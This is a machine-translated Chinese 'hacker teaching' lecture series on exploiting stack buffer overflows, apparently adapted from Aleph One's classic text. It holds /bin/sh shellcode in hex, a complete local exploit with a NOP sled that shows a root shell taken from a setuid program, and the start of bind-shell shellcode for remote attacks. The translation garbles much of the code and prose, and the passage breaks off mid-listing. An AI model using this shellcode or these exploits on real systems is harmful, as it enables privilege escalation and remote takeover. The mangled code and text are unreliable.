Stack overflow series lecture

xiaoxiao2021-03-05  22

Stack overflow series lecture (1-10) stack overflow series lecture (1) _Hacker teaching _ hacking technology

This article and the following series of equivalents are translated and organized according to the English materials of Alphe One, TAEHO OH, and you can copy and distribute anything. Preface: Get ROOT privileges by stack overflow is a quite common hacker technology currently used. In fact, this hacker has a preferred attack method after the system has already had a basic account. He is also widely used in remote attacks. It has been implemented by many instances through the stack overflow of the daemon process. In the Windows system, there is also a problem with stack overflow. Moreover, with the popularity of the Internet, the Internet Server on the WIN series platform is increasing, and the low-level WIN program becomes a fatal injury on your system. Because they are also overflowed by remote stacks, and because Win system users and managers generally lack security guardians, a stack overflow on a WIN system, if the malicious utilization will cause the entire machine to be controlled by the enemy. Furthermore, it may cause the entire local area to enter the enemy's hand. This series of lectures describe the system, principles, applications, and prevention measures of the stack overflow. I hope that through my lecture, you can understand and master this technology. Moreover, you will find your stack overflow vulnerability to improve system security. Stack Overflow Series Getting Stated Preparation: First of all, you should learn about Intel assembly language, familiar with the composition and functionality of registers. You must have the basics of stack and storage allocation, there are many computer books on this area, I will just simply elaborate principles, focusing on applications. Second, you should understand Linux, this lecture, our example will be developed on Linux. 1: First review the basic knowledge. Alternatively, the stack is a continuously allocated memory space. In a program, various variables are declared. Static global variables are loaded at the data segment and is loaded when the program starts running. The dynamic local variable of the program is allocated inside the stack. From the operation, the stack is a queue that is first inward. His growth direction is opposite to the direction of the growth direction. We specify that the growth direction of the memory is up, then the growth direction of the stack is down. Pushing operation Push = ESP-4, out of the stack is POP = ESP 4. In other words, the old value in the stack, the memory address, but more than the new value. Please remember this because it is the basic theoretical basis for stack overflow. In a function call, the stack will be pressed in sequence: parameters, return addresses, EBP. If the function has a local variable, then the corresponding space is opened in the stack to construct a variable. The function is executed, and the content of these local variables will be lost. But it is not cleared. When the function returns, the EBP pops up, restore the stack to the address called the function called, and pops up the address to the EIP to continue executing the program. In a C language program, the stack order of the parameters is reverse. For example, FUNC (A, B, C). At the time of the argument, it is: first pressing C, then press B, and finally press A. When the parameter is taken, the top of the stack is first in the stack, and then B, and finally C.

(PS: If you don't understand the above outline, please go to see the book about the stack, the general assembly language book will discuss the stack in detail, you must understand it, you can make the following learning 2: Good , Continue, let us see what is stack overflow. 2.1: Stack assignment at runtime

The stack overflow is to write too much data to the data block in a part of the local data block allocated in the stack, resulting in data offline. The result is covered with old stack data. For example, there is a program below: Program 1: #include int main () {char name [8]; Printf ("please type your name:"; gets (name); Printf ("Hello,% s!", Name) Return 0;} Compile and execute, we entered ipXodi, it will output hello, ipXodi !. How do you operate in the stack? When the main function starts running, the stack will be placed in turn in the return address, EBP. We use GCC -S to get assembly language output, you can see the beginning of the main function corresponding to the following statement: Pushl% EBP MOVL% ESP,% EBP SUBL $ 8,% ESP first, please save EBP, then EBP is equal ESP, so EBP can be used to access local variables of this function. The ESP is then reduced by 8, which is the stack up to 8 bytes to store the Name [] array. Now the layout of the stack is as follows: Memory bottom memory top Name EBP RET <-------------------------------------------------------------------------------------------------------------------------------------------------------------------------- RET <----- [ipxodi / 0] [] [] ^; Name Stack top stack bottom, main returns, pops up the address in the RET, assigns the value to the EIP, the CPU continues to perform the command pointed to by the EIP. 2.2: The stack overflows, it looks smooth. We will execute once again, enter ipxodiaaaaaaaaaaaaaaa, after performing gets (name), the stack is as follows: Memory bottom memory top Name EBP RET <------ [ipxodiaaa] [aaaa] [aaaa] ....... ^ At the bottom of the Name Stack Top Stack Because the Name string we entered is too long, the NAME array is not covered, but only to write 'a' on the top of the memory. Since the growth direction of the stack is opposite to the growth direction of the memory, these 'a' covers the old elements of the stack. As shown in the figure, we can find that EBP, RET has been covered by 'A'.

When MAIN is returned, the 'AAA' ASCII code: 0x41414141 is used as the return address, and the CPU will attempt to execute the instructions at 0x41414141, and the result is an error. This is the stack overflow. 3: How to use the stack overflow we have made a stack overflow. The principle can be summarized as: due to string processing functions (Gets, Strcpy, etc.) do not monitor and limit the array crosses, we use the character number to write the offshore, cover the value of the old elements in the stack, you can modify the return address. In the above example, this causes the CPU to access a non-existing instruction, and the result is wrong. In fact, when the stack overflows, we have fully controlled the next step in this program. If we overwrite this return address with a actual presence, the CPU will turn to our instructions. In the UINX system, our instructions can perform a shell, which will be the same permissions as the programs that have been overflowed by our stack. If this program is setuid, then we can get the root shell. The next lecture will describe how to write a shell code. Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (2) _hacker teaching _ hacking technology

How to write a shell code 1: SHELLCODE Basic Algorithm Analysis In the program, executing a shell is written in this: shellcode.c ------------------------------------------------------------------------------------------------------------------------------------------------------------------ -------------------------------------------------- #include void main () {char * name [2]; name [0] = "/ bin / sh"; name [1] = null; Execve (Name [0], Name, null); } ------------------------------------- ----------------------- The execve function will execute a program. He needs the name address of the program as the first parameter. One content is the argument array of Argv (Argv [N-1] = 0) of the program as the second parameter, and (char *) 0 as the third parameter. We look to see execve assembly code: [nkl10] $ gcc -o shellcode -static shellcode.c [nkl10] $ gdb shellcode (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__ execve>: pushl% ebp ; 0x80002bd <__ execve 1>: MOVL% ESP,% EBP; above is a function header. 0x80002BF <__ execve 3>: Pushl% EBX; save EBX 0x80002c0 <__ execve 4>: MOVL $ 0XB,% EAX; EAX = 0XB, EAX specificallys the first few system calls. 0x80002C5 <__ EXECVE 9>: MOVL 0x8 (% EBP),% EBX; EBP 8 is the first parameter "/ bin / sh / 0" 0x80002c8 <__ execve 12>: MOVL 0xc (% EBP),% ECX; EBP 12 is the address 0x80002cb <__ EXECVE 15>: MOVL 0x10 (% EBP),% EDX; EBP 16 is the address of the third parameter empty pointer. Name [2-1] The content is null to store the return value.

0x80002CE <__EXECVE 18>: int $ 0x80; executive 0xB number system call (Execve) 0x80002d0 <__ execve 20>: MOVL% EAX,% EDX; below is the process of return values. 0x80002d2 <__ execve 22>: testl% edx,% edx 0x80002d4 <__ execve 24>: jnl 0x80002e6 <__ execve 42> 0x80002d6 <__ execve 26>: negl% edx 0x80002d8 <__ execve 28>: pushl% edx 0x80002d9 <__ execve 29>: call 0x8001a34 <__ normal_errno_location> 0x80002de <__ execve 34>: popl% edx 0x80002df <__ execve 35>: movl% edx, (% eax) 0x80002e1 <__ execve 37>: movl $ 0xffffffff,% eax 0x80002e6 <__ execve 42>: popl% EBX 0x80002e7 <__ execve 43>: MOVL% EBP,% ESP 0x80002E9 <__ execve 45>: POPL% EBP 0x80002ea <__ execve 46>: RET 0x80002eb <__ execve 47>: NOP end of assembler dump After the above analysis, you can get the following reduced instruction algorithm: MOVL $ execve system call number,% EAX MOVL "BIN / SH / 0" address,% EBX MOVL NAME array address,% ECX MOVL NAME [N- 1] Address,% EDX INT $ 0x80; Execute System Call (Execve) When Execve is executed, the program shellcode exits, / bin / SH will continue to execute as the child process. However, if our Execve performs failure, (for example, there is no / bin / sh), the CPU will continue to perform subsequent instructions, and the result I don't know where to go. So you must perform an exit () system call, end the execution of shellcode.c.

Let's see the assembly code of Exit (0): (GDB) Disassemble _Exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl% EBP 0x800034D <_exit 1>: movl% ESP,% EBP 0x800034f <_exit 3>: pushl% EBX 0x8000350 <_exit 4>: MOVL $ 0x1,% EAX; 1 system call 0x8000355 <_exit 9>: MOVL 0x8 (% EBP),% EBX; EBX is parameter 0 0x8000358 <_exit 12>: int $ 0x80; trigger system call 0x800035a <_exit 14>: MOVL 0xFFFFFFC (% EBP),% EBX 0x800035D <_exit 17>: MOVL% EBP,% ESP 0x800035F <_exit 19>: Popl% EBP 0x8000360 <_exit 20>: RET 0x8000361 <_exit 21>: NOP 0x8000362 <_exit 22>: NOP 0x8000363 <_exit 23>: NOP End of Assembler Dump.

It seems that the assembly code of Exit (0) is more simple: MOVL $ 0x1,% EAX; No. 1 system call MOVL 0,% EBX; EBX is the parameter 0 INT $ 0x80 in Exit; trigger the system call, summarize the compilation The code is: system call number,% EAX MOVL "BIN / SH / 0" address,% EBX MOVL NAME array address,% ECX MOVL NAME [N-1],% EDX INT $ 0x80; Perform system call (Execve) MOVL $ 0x1,% EAX; 1 system calls MOVL 0,% EBX; EBX is EXIT's parameter 0 int $ 0x80; execute system call (exit) 2: Implement a shellcode, let's implement this algorithm. First we must have a string "/ bin / sh", have to have an Name array. We can construct them, but why do they know their address in Shellcode? Each program is dynamically loaded, the address of the string and the Name array is not fixed. Through JMP and Call, the hackers have solved this problem. -------------------------------------------------- ---------------------- JMP Call offset address # 2 bytes popl% ESI # 1 byte // Popl comes out is the address of String. MOVL% ESI, Array-Offset (% ESI) # 3 bytes // Constructs Name array in String 8, // Name [0] Putting String Address MOVB $ 0x0, NullByteoffset (% ESI) # 4 bytes // string 7 Play 0 as the end of String. MOVL $ 0x0, Null-Offset (% ESI) # 7 bytes // name [1] puts 0. MOVL $ 0XB,% EAX # 5 bytes // EAX = 0xB is the syscall code for Execve.

MOVL% ESI,% EBX # 2 bytes // EBX = String address LEAL Array-Offset, (% ESI),% ECX # 3 BYTES // ECX = Name Array Start address LEAL NULL-OFFSET (% ESI),% EDX # 3 bytes // edx = name [1] address int $ 0x80 # 2 bytes // int 0x80 is Sys call MOVL $ 0x1,% EAX # 5 bytes // EX = 0x1 is exit's syscall code MOVL $ 0x0, % EBX # 5 bytes // ebx = 0 is exit return value int $ 0x80 # 2 bytes // int 0x80 is the offset address of sys call call popl # 5 bytes //> The address of String will be made / / To return the address stack. / BIN / SH string -------------------------------------------- ---------------------------- First use JMP relative address to jump to Call, execute the Call instruction, string / bin / sh The address will be pressed into the stack as the return address of the Call. Now come to the POPL ESI, take the string address of the string just pressing into the stack, get the real address of the string. Then, the 8th word of the string is 0, which is the end of the string. 8 bytes behind, constructed an NAME array (two integers, eight bytes). We can write shellcode. Write a briefing program first.

Shellcodeasm.c ------------------------------------------------ ------------------------- void main () {__ASM __ ("jmp 0x2a # 3 bytes popl% esi # 1 byte movl% ESI, 0x8 ( % ESI) # 3 bytes Movb $ 0x0,0x7 (% ESI) # 4 bytes Movl $ 0x0,0xc (% ESI) # 7 Bytes Movl $ 0xB,% ESI,% EBX # 2 bytes LEAL 0x8 (% ESI),% ECX # 3 bytes Leal 0xc (% ESI),% EDX # 3 bytes Int $ 0x80 # 2 Bytes Movl $ 0x1,% EAX # 5 bytes Movl $ 0x0,% EBX # 5 BYtes Int $ 0x80 # 2 Bytes Call -0x2f # 5 bytes .string / "/ bin / sh /" # 8 bytes ");} ------------------------- ------------------------------------------------ compiled, Use GDB's B / BX [Address] command to get ten Six refers to the expiration. Below, the test procedure is written as follows: (Note that this TEST program is the basic program of test shellcode) Test.c ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------------- Char shellcode [] = "/ XEB / X2A / X08 / XC6 / X46 / X07 / X00 / XC7 / X46 / X00" "/ x00 / xb8 / x0b / x00 / x00 / x00 / x89 / XF3 / X8D / X4E / X08 / XCD / X80 "" / XB8 / X01 / X00 / X00 / X00 / X00 / XCD / X80 / XE8 / XD1 / XFF / XFF "/ x2f / x62 / x69 / x6e / x2f / x73 / x68 / x00 / x89 / xec / x5d / xc3"; void main () {int * ret; ret= (int *); RET 2; // RET equal to main () return address // ( 2 is because: There is a PUSHL EBP, otherwise add 1 is ok.

(* RET) = (int) shellcode; // Modify the return address of Main () to the start address of Shellcode. } ------------------------------------- ----------------------------------------------------------------- --------------------------------------------- [NKL10] $ GCC -o test test.c [nkl10] $ ./test $ exit [nkl10] $ ------------------------------- ----------------------------------------- We have stored Shellcode through a shellcode array. When we set the return address RET of the program (Test.c) to the start address of the shellcode array, the program will perform our shellcode when returning, and we get a shell. After running the results, I got the BSH prompt $, indicating that a shell was opened. It is necessary to explain here that we use shellcode as a global variable in the data segment instead of as a code. Because in the operating system, the content of the program code segment is read-only attribute. Can not be modified. And the MOVL% ESI, 0x8 (% ESI) in our code modifies part of the code, so it cannot be placed in the code segment. Can this shellcode? Unfortunately, it is still a bit. Everyone recalled that in the stack overflow, the key is the writing offshore in the string array. However, the string functions such as Gets, Strcpy are ended at "/ 0" as the string of strings in "/ 0". In cases / 0, you will end the write operation. And our shellcode string has a lot of / 0 characters. Therefore, for Gets (Name), the above shellcode is not feasible. Our shellcode can't have / 0 characters.

Therefore, some instructions need to be modified: old instructions New instructions ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ - MOVB $ 0X0, 0X7 (% ESI) XORL% EAX,% EAX MOLV $ 0x0,0xc (% ESI) MOVB% Eax, 0x7 ( % ESI) MOVL% EAX, 0xC (% ESI) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ------------------ MOVL $ 0XB,% EAX MOVB $ 0XB,% Al -------------------- ---------------------------------- MOVL $ 0X1,% EAX XORL% EBX,% EBX MOVL $ 0 X0,% EBX MOVL% EBX,% EAX Inc% EAX ------------------------------------- ------------------- The last shellcode is: -------------------------- ---------------------------------------------- Char shellcode [] = 00 "/ Xeb / x1f" / * jmp 0x1f * / 02 "/ x5e" / * popl% ESI * / 03 "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% ESI) * / 06 "/ x31 / xc0" / * xorl% EAX,% EAX * / 08 "/ x88 / x46 / x07" / * movb% EAX, 0x7 (% ESI) * / 0b "/ x89 / x46 / x0c" / * movl% EAX, 0xc (% ESI) * / 0e "/ XB0 / X0B "/ * MOVB $ 0XB,% Al * / 10" / x89 / xf3 "/ * movl% ESI,% EBX * / 12" / x8d / x4e / x08 "/ * LEAL 0x8 (% ESI),% ECX * / 15 "/ x8d / x56 / x0c"

/ * LEAL 0XC (% ESI),% EDX * / 18 "/ XCD / X80" / * int $ 0x80 * / 1A "/ x31 / xdb" / * xorl% EBX,% EBX * / 1C "/ x89 / xd8 "/ * MOVL% EBX,% EAX * / 1E" / x40 "/ * inc% EAX * / 1F" / xcd / x80 "/ * int $ 0x80 * / 21" / xe8 / xdc / xff / xff / XFF " / * CALL-0X24 * / 26 "/ bin / sh"; / * .string / "/ bin / sh /" * / --------------------- -------------------------------------------------- - Three: Using the stack overflow to get the shell, now we have made a stack overflow, write a shellcode. Preparation has been finished, we combine the two and write a program that uses stack overflow to get the shell.

Overflow1.c ----------------------------------------------- ------------------------- Char shellcode [] = "/ x76 / x08 / x31 / xc0 / x88 / X46 / X07 / x89 / X46 / X0C / XB0 / X0B "" / x89 / x8d / x56 / x0c / xcd / x80 / ​​x31 / xdb / x89 / xd8 / x40 / xcd "" / X80 / XE8 / XDC / XFF / XFF / XFF / BIN / SH "; char Large_string [128]; void main () {charffer [96]; int i; long * long_ptr = (long *) large_string; for (i = 0; i <32; i ) * (long_ptr i) = (int) buffer; for (i = 0; i

Use stack overflow to get the shell

Now let us enter the most exciting say, using the stack of others' programs to overflow to get rootshell. We will facing a program with StrcPy stack overflow vulnerabilities, using the previous method to get the shell.

Recalling the previous speech, we have stored shellcode through a shellcode array, using the strcpy function in the program, put shellcode in the stack of the program; we have created the array of offers, overwriting the program with the start address of Shellcode (overflow.c) Back to the address, the program will perform our shellcode when returning, so we get a shell.

When we face the procedures written by others, in order to let him perform our shellcode, we must also do this: 1: Provide our shellcode to him, let him visit Shellcode. 2: Modify his return address to the entrance address of shellcode.

In order to do these, we must know that his STRCPY (Buffer, Ourshellcode), the address of the buffer. Because when we provide shellcode to STRCPY, the Buffer's start address is the start address of Shellcode, we must use this address to overwrite the stack. Everyone must be clear. We know that for the operating system, the stack segment of each program under a shell is the same. We can write a program to get the start address of the running, so we know the start address of the target program stack.

Below this function, use EAX to return the current program's stack pointer. (All the return values ​​of all C functions are placed in the EAX register): ----------------------------------- ------------------------------------- unsigned long get_sp (void) {__ASM __ ("MOVL% ESP ,% eax ");} ------------------------------------------- -----------------------------

After we know that the offset of the buffer relative to the stack start address is determined by the program that he writes himself, we don't know, we can only guess. However, the general program stack is about a few ks. So, this buffer has the stack address obtained above, and the difference is between a few k.

Obviously, the address is a very difficult thing, from 0 to 10K, will be exhausted.

Earlier we used to cover the overflow stack string is: SSSSSSSSSSSSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Now, in order to improve the hit rate, we carried out the following improvements to him: to overflow string becomes: NNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSAAAAAAAAAAAAAAAAAAA wherein: N is the mean NOP.NOP instruction do nothing Skip a CPU instruction cycle. On the INTEL machine, the machine code of the NOP instruction is 0x90. S is shellcode. A gives us the address of the buffer. In this way, a guessing can also fall in N, and will eventually execute to S. This improvement greatly improves the hit rate of guess, sometimes almost hit. :)))

Ok, boring algorithm is complete, the following is the use of ./vulnerable1 stack overflow vulnerabilities to get the shell program: Exploit1.c ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- #include #include

#define offset 0 #define ret_position 1024 #define Range 20 #define NOP 0x90

Char shellcode [] = "/ xeb / x1f" / * jmp 0x1f * / "/ x5e" / * popl% ESI * / "/ x89 / x76 / x08" / * movl% ESI, 0x8 (% esi) * / " / x31 / xc0 "/ * xorl% EAX,% EAX * /" / x88 / x46 / x07 "/ * movb% EAX, 0x7 (% ESI) * /" / x89 / x46 / x0c "/ * movl% EAX, 0xc (% ESI) * / "/ xb0 / x0b" / * MOVB $ 0XB,% Al * / "/ x89 / xf3" / * movl% ESI,% EBX * / "/ x8d / x4e / x08" / * LEAL 0x8 (% ESI),% ECX * / "/ x8d / x56 / x0c" / * LEAL 0XC (% ESI),% EDX * / "/ XCD / X80" / * int $ 0x80 * / "/ x31 / xdb" / * xorl% EBX,% EBX * / "/ x89 / xd8" / * movl% EBX,% EAX * / "/ x40" / * Inc% eax * / "/ xcd / x80" / * int $ 0x80 * / "/ XE8 / XDC / XFF / XFF / XFF" / * CALL-0X24 * / "/ bin / sh"; / * .string / "/ bin / sh /" * / unsigned long get_sp (void) {__ASM __ (" MOVL% ESP,% EAX ");

Main (int Argc, char ** argv) {char buff [RET_POSITION RANGE 1], * PTR; long addr; unsigned long sp; int off, = offset, bsize = RET_POSITION RANGE Align 1; int 1;

IF (Argc> 1) OFFSET = ATOI (Argv [1]);

SP = GET_SP (); addr = sp-offset;

For (i = 0; i

For (i = 0; i

PTR = BUFF BSIZE-RANGE * 2-STRLEN (Shellcode) -1; for (i = 0; I

Printf ("Jump to 0x% 08x / N", ADDR);

EXECL ("./ Vulnerable1", "Vulnerable1", Buff, 0);} ---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------------- EXECL is used to perform the target program ./vulnerable1, BUFF is our carefully made overflow string, provided as a ./vulnerable1 parameters. The following is the result of the execution: ------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------- [NKL10] $ ls -l Vulnerable1 -RWSR-XR-X 1 root root xxxx jan 10 16: 19 Vulnerable1 * [NKL10] $ LS -L Exploit1 -RWXR-XR-X 1 ipxodi Cinip XXXX Oct 18 13:20 Exploit1 * [NKL10] $ ./exploit1 jump to 0xBFFEC64 segmentation fault [NKL10] $ ./exploit1 500 jump to 0xBffea70 Bash # WHOAMI ROOT BASH # ----------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------- Congratulations, congratulations, you got the root shell. Next, we will further explore the writing of shellcode. We will discuss some very complex shellcode.

Reply: Stack Overflow Series Lecture (1-10) Stack Overflow Series Lecture (5) _Hacker Teaching_ 黑客

Remote stack overflow

When we use the stack overflow attack daemon daem, the principle and the local attack mentioned above are the same. We must provide a spill string to the target daemon, which contains shellcode. I hope that the enemy has a stack overflow when copying (or other string processing), so that our shellcode is performed.

Ordinary shellcode will start a child process to execute SH, withdraw it. For our remote attackers, because we are not locating, we have not been obtained.

Therefore, for remote users, we pass the shellcode must be burdened to open a socket, then our connection, give us a remote shell responsibility.

How to open a remote shell? Let's apply for a socketfd, use 30464 (casual, how many banks) as this Socket connection port, bind he, then wait on this port to wait to connect Listen. When there is a connection coming, open a child shell, connect the connected clientfd as the STDIN, STDOUT, STDERR. In this way, our remote users have a remote shell (like telnet).

Here is the C implementation of this algorithm:

OpenSocket.c ----------------------------------------------- ------------------------- 1 # include 2 # include 3 # include

4INT SOC, CLI, SOC_LEN; 5STRUCT SOCKADDR_IN Serv_addr; 6Struct SockAddr_in Cli_addr;

7InT main () 8 {9 if (fork () == 0) 10 {11 serv_addr.sin_family = af_INET; 12 serv_addr.sin_addr.s_addr = htonl (inaddr_any); 13 serv_addr.sin_port = HTONS (30464); 14 SOC = Socket (AF_INET, SOCK_STREAM, IPPROTO_TCP); 15 bind (SOC, STRUCKADDR *); Serv_addr, SIZEOF (Serv_addr)); 16 listen (SoC, 1); 17 SOC_LEN = SizeOf (CLI_ADDR); 18 CLI = Accept (SOC (struct sockaddr *) & cli_addr, & soc_len); 19 DUP2 (CLI, 0); 20 DUP2 (CLI, 1); 21 DUP2 (CLI, 2); 22 Execl ("/ Bin / SH", "SH", 0 ); 23} 24} -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------------------------------------------------------------- The value is the PID of the child process. For the child process, the return value of the fork () is 0. In this program, the parent process exits a FORK, the child process continues the following operations as the executor of Socket communication. 10 to 23 rows are what is doing things. First call Socket to get a file descriptor So, then call bind () bind 30464 port, and then start listening listen (). The program hangs in the Accept Wait for the customer connection.

When there is a customer connection, the program is awakened, performing an Accept, then redirects its standard input, standard output, standard error output to the customer's file descriptor, open a child, which, the child shell inherits this process. Document descriptor, for customers, it has been a remote shell.

Did you understand? Well, right, this is a relatively simple Socket program, which is very understood. Ok, we use GDB to refine the above procedures:

[Nkl10] $ gcc -o opensocket -static opensocket.c [nkl10] $ gdb opensocket GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and / or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". .. (gdb) disassemble fork Dump of assembler code for function fork: 0x804ca90 : movl $ 0x2,% eax 0x804ca95 : int $ 0x80 0x804ca97 : cmpl $ 0xfffff001,% eax 0x804ca9c : jae 0x804cdc0 <__ syscall_error> 0x804caa2 : RET 0x804caa3 : NOP 0x804caa4 : NOP 0x804caa5 : NOP 0x804caa6 : NOP 0x804caa7 : NOP 0x804caa8 : NOP 0x804caa9 : NOP 0x804caaa : NOP 0x804caab : NOP 0x804caac : NOP 0x804caad : NOP 0x804caaa : NO p 0x804caaf : nop End of assembler dump (gdb) disassemble socket Dump of assembler code for function socket:. 0x804cda0 : movl% ebx,% edx 0x804cda2 : movl $ 0x66,% EAX 0x804cda7 : MOVL $ 0x1,% EBX 0x804cdac : Leal 0x4 (% ESP, 1),% ECX 0x804cdb0 : int $ 0x80 0x804cdb2 : MOVL % EDX,% EBX 0x804cdb4 : CMPL $ 0xfffffff83,% EAX 0x804cdb7 : jae 0x804cdc0 <__ syscall_error> 0x804cdbd <

Socket 29>: RET 0X804CDBE : NOP 0x804cdbf : NOP End of assembler dump. (gdb) Disassemble Bind Dump of askeMbler code for function bind: 0x804cd60 : MOVL% EBX,% EDX 0x804cd62 : MOVL $ 0x66,% EAX 0x804cd67 : MOVL $ 0x2,% EBX 0x804cd6c : Leal 0x4 (% ESP, 1),% ECX 0x804cd70 : int $ 0x80 0x804cd72 : MOVL% EDX,% EBX 0x804cd74 : CMPL $ 0xfffffff83,% EAX 0x804cd77 : jae 0x804cdc0 <__ syscall_error> 0x804cd7d : ret 0x804cd7e : nop 0x804cd7f : nop End of assembler dump (gdb) disassemble listen Dump of assembler code for function listen:. 0x804cd80 : movl% ebx,% edx 0x804cd82 : MOVL $ 0x66,% EAX 0x804cd87 : MOVL $ 0X4,% EBX 0x804cd8c : Leal 0x4 (% ESP, 1),% ECX 0x804cd90 : int $ 0x80 0x804cd92 : movl% edx,% ebx 0x804cd94 : cmpl $ 0xffffff83,% eax 0x804cd97 : jae 0x804cdc0 <__ syscall_error> 0x804cd9d : ret 0x804cd9e : nop 0x804cd9f : nop End of assembler dump (gdb) disassemble accept Dump of assembler code for function __accept:. 0x804cd40 <__ accept>: movl% ebx,% edx 0x804cd42 <__ accept 2>: MOVL $ 0x66,% EAX 0x804cd47 <__ accept 7>: MOVL $ 0x5,% EBX 0x804CD4C <__ accept 12>: Leal 0x4 (% ESP, 1),% ECX 0x804cd50 <__ accept 16>: int $ 0x80 0x804cd52 <__ accept 18>: MOVL% EDX,% EBX 0x804cd54 <__ accept 20>

: Cmpl $ 0xffffff83,% eax 0x804cd57 <__ accept 23>: jae 0x804cdc0 <__ syscall_error> 0x804cd5d <__ accept 29>: ret 0x804cd5e <__ accept 30>: nop 0x804cd5f <__ accept 31>: nop End of assembler dump (gdb. DISSEMBLER CODE for Function DUP2: 0X804CBE0 : MOVL% EBX,% EDX 0x804cbe2 : MOVL 0x8 (% ESP, 1),% ECX 0x804cbe6 : MOVL 0x4 ( % ESP, 1),% EBX 0x804cbea : MOVL $ 0x3f,% EAX 0x804cbef : int $ 0x80 0x804cbf1 : MOVL% EDX,% EBX 0x804cbf3 : CMPL $ 0xfffffff001,% EAX 0x804cbf8 : jae 0x804cdc0 <__ syscall_error> 0x804cbfe : RET 0x804cbff : NOP End of assembler Dump. You can now write the compilation of the above C code. .

Compilation code for fork () ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------- CHAR CODE [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / " / XB0 / X02 "/ * MOVB $ 0x2,% Al * /" / XCD / X80 "; / * int $ 0x80 * / --------------------- -------------------------------------------------- -

Socket (2, 1, 6) assembly code note: AF_INET = 2, SOCK_STREAM = 1, ipproto_tcp = 6 -------------------------- -------------------------------------------- / * Socket 66 system call, No. 1 sub-call. * / / * He uses a parameter 2, 1, 6. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x31 / xdb" / * xorl% EBX, % EBX * / "/ x89 / xf1" / * movl% ESI,% ECX * / "/ XB0 / X02" / * MOVB $ 0x2,% Al * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / * First parameter * / / *% ESI points to a unused memory space * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * / "/ X89 / X46 / X04" / * MOVL% EAX, 0x4 (% ESI) * / / * second parameter * / "/ xb0 / x06" / * MOVB $ 0x6,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * third parameter. * / "/ Xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X01" / * MOVB $ 0X1,% BL * / "/ XCD / X80 "; / * int $ 0x80 * / -------------------------------------- ----------------------------------

Bind (STRUCT SOCKADDR *); Serv_addr, 0x10) assembly code ------------------------------- --------------------------------------- / * bind uses 66 system call, No. 2 Sub call. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x02" / * MOVB $ 0x2,% Al * / "/ x66 / x89 / x46 / x0c" / * movW% AX, 0XC (% ESI) * / / / * serv_addr.sin_family = af_net (2) * / / / * 2 placed in 0xc (% ESI). * / "/ xb0 / x77" / * MOVB $ 0X77,% Al * / "/ x66 / x89 / x46 / x0e" / * mov% AX, 0xE (% ESI) * / / * port number (0x7700 = 30464) At 0xE (% ESI) * / "/ x8d / x46 / x0c" / * LEAL 0XC (% ESI),% EAX * / / *% EAX = Serv_addr address * / "/ x89 / x46 / x04" / * MOVL % EAX, 0x4 (% ESI) * / / * second parameter. * / "/ x31 / xc0" / * xorl% EAX,% EAX * / "/ x89 / x46 / x10" / * movl% EAX, 0x10 (% ESI) * /// * serv_addr.sin_addr.s_addr = 0 * / "/ xb0 / x10" / * MOVB $ 0x10,% Al * / "/ x89 / x46 / x08" / * movl% EAX, 0x8 (% ESI) * / / * Third parameters. * / "/ xb0 / x66" / * MOVB $ 0x66,% Al * / "/ XB3 / X02" / * MOVB $ 0x2,% BL * / "/ XCD / X80 "; / * Int $ 0x80 * / ----------------------------------------- -------------------------------

Assembly code for Listen (Soc, 1) --------------------------------------- ------------------------------- / * Listen uses 66 system calls, No.4 sub-calls. * / / * He uses a block to pass the parameters. * / / *% ECX is the address pointer of this memory block. * / char code [] = "/ x89 / xf1" / * mov% ESI,% ECX * / "/ x89 / x06" / * movl% EAX, (% ESI) * / / *% EAX content is the return value of the Socket call, * / / * is the SOC file descriptor, as the first parameter * / "/ xb0 / x01" / * MOVB $ 0x1,% Al * /

